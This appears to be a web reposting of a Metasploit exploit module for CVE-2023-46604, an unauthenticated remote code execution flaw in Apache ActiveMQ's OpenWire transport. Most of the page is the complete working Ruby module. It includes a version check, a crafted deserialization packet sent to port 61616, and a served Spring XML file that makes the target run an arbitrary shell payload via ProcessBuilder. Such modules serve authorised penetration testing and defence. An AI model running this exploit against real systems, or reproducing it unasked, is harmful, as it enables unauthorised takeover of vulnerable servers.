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Apache ActiveMQ Unauthenticated Remote Code Execution

This Metasploit module exploits a deserialization vulnerability in the OpenWire transport unmarshaller in Apache ActiveMQ. Affected versions include 5.18.0 through to 5.18.2, 5.17.0 through to 5.17.5, 5.16.0 through to 5.16.6, and all versions before 5.15.16.

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### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  prepend Msf::Exploit::Remote::AutoCheck  include Msf::Exploit::Remote::HttpServer  include Msf::Exploit::Remote::Tcp  include Msf::Exploit::Retry  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Apache ActiveMQ Unauthenticated Remote Code Execution',        'Description' => %q{          This module exploits a deserialization vulnerability in the OpenWire transport unmarshaller in Apache          ActiveMQ. Affected versions include 5.18.0 through to 5.18.2, 5.17.0 through to 5.17.5, 5.16.0 through to          5.16.6, and all versions before 5.15.16.        },        'License' => MSF_LICENSE,        'Author' => [          'X1r0z', # Original technical analysis & exploit          'sfewer-r7', # MSF exploit & Rapid7 analysis        ],        'References' => [          ['CVE', '2023-46604'],          ['URL', 'https://github.com/X1r0z/ActiveMQ-RCE'],          ['URL', 'https://exp10it.cn/2023/10/apache-activemq-%E7%89%88%E6%9C%AC-5.18.3-rce-%E5%88%86%E6%9E%90/'],          ['URL', 'https://attackerkb.com/topics/IHsgZDE3tS/cve-2023-46604/rapid7-analysis'],          ['URL', 'https://activemq.apache.org/security-advisories.data/CVE-2023-46604-announcement.txt']        ],        'DisclosureDate' => '2023-10-27',        'Privileged' => false,        'Platform' => %w[win linux unix],        'Arch' => [ARCH_CMD],        # The Msf::Exploit::Remote::HttpServer mixin will bring in Exploit::Remote::SocketServer, this will set the        # Stance to passive, which is unexpected and results in the exploit running as a background job, as RunAsJob will        # be set to true. To avoid this happening, we explicitly set the Stance to Aggressive.        'Stance' => Stance::Aggressive,        'Targets' => [          [            'Windows',            {              'Platform' => 'win'            }          ],          [            'Linux',            {              'Platform' => 'linux'            }          ],          [            'Unix',            {              'Platform' => 'unix'            }          ]        ],        'DefaultTarget' => 0,        'DefaultOptions' => {          # By default ActiveMQ listens for OpenWire requests on TCP port 61616.          'RPORT' => 61616,          # The maximum time in seconds to wait for a session.          'WfsDelay' => 30        },        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [IOC_IN_LOGS]        }      )    )  end  def check    connect    res = sock.get_once    disconnect    return CheckCode::Unknown unless res    len, _, magic = res.unpack('NCZ*')    return CheckCode::Unknown unless res.length == len + 4    return CheckCode::Unknown unless magic == 'ActiveMQ'    return CheckCode::Detected unless res =~ /ProviderVersion...(\d+\.\d+\.\d+)/    version = Rex::Version.new(::Regexp.last_match(1))    ranges = [      ['5.18.0', '5.18.2'],      ['5.17.0', '5.17.5'],      ['5.16.0', '5.16.6'],      ['0.0.0', '5.15.15']    ]    ranges.each do |min, max|      if version.between?(Rex::Version.new(min), Rex::Version.new(max))        return Exploit::CheckCode::Appears("Apache ActiveMQ #{version}")      end    end    Exploit::CheckCode::Safe("Apache ActiveMQ #{version}")  end  def exploit    # The payload is send in a CDATA section of an XML file. Therefore, the payload cannot contain a CDATA closing tag.    if payload.encoded.include? ']]>'      fail_with(Failure::BadConfig, 'The encoded payload data may not contain the CDATA closing tag ]]>')    end    start_service    connect    # The vulnerability allows us to instantiate an arbitrary class, with a single arbitrary string parameter. To    # leverage this we can use ClassPathXmlApplicationContext, and pass a URL to an XML configuration file we    # serve. This XML file allows us to create arbitrary classes, and call arbitrary methods. This is leveraged to    # run an attacker supplied command line via java.lang.ProcessBuilder.start.    clazz = 'org.springframework.context.support.ClassPathXmlApplicationContext'    # 31 is the EXCEPTION_RESPONSE data type.    data = [31].pack('C')    # ResponseMarshaller.looseUnmarshal reads a 4 byte int for the command id.    data << [0].pack('N')    # and a 1 byte boolean for response required.    data << [0].pack('C')    # ResponseMarshaller.looseUnmarshal read a 4 byte int for the correlation ID.    data << [0].pack('N')    # BaseDataStreamMarshaller.looseUnmarsalThrowable wants a boolean true to continue to unmarshall.    data << [1].pack('C')    # BaseDataStreamMarshaller.looseUnmarshalString reads a byte boolean and if true, reads a UTF-8 string.    data << [1].pack('C')    # First 2 bytes are the length.    data << [clazz.length].pack('n')    # Then the string data. This is the class name to instantiate.    data << clazz    # Same again for the method string. This is the single string parameter used during class instantiation.    data << [1].pack('C')    data << [get_uri.length].pack('n')    data << get_uri    sock.puts([data.length].pack('N') + data)    retry_until_truthy(timeout: datastore['WfsDelay']) do      !handler_enabled? || session_created?    end    handler  ensure    cleanup  end  def on_request_uri(cli, request)    if request.uri != get_resource      super    end    case target['Platform']    when 'win'      shell = 'cmd.exe'      flag = '/c'    when 'linux', 'unix'      shell = '/bin/sh'      flag = '-c'    end    xml = %(<?xml version="1.0" encoding="UTF-8"?><beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="#{Rex::Text.rand_text_alpha(8)}" class="java.lang.ProcessBuilder" init-method="start">  <constructor-arg>    <list>      <value>#{shell}</value>      <value>#{flag}</value>      <value><![CDATA[#{payload.encoded}]]></value>    </list>  </constructor-arg></bean></beans>)    send_response(cli, xml, {      'Content-Type' => 'application/xml',      'Connection' => 'close',      'Pragma' => 'no-cache'    })    print_status('Sent ClassPathXmlApplicationContext configuration file.')  endend

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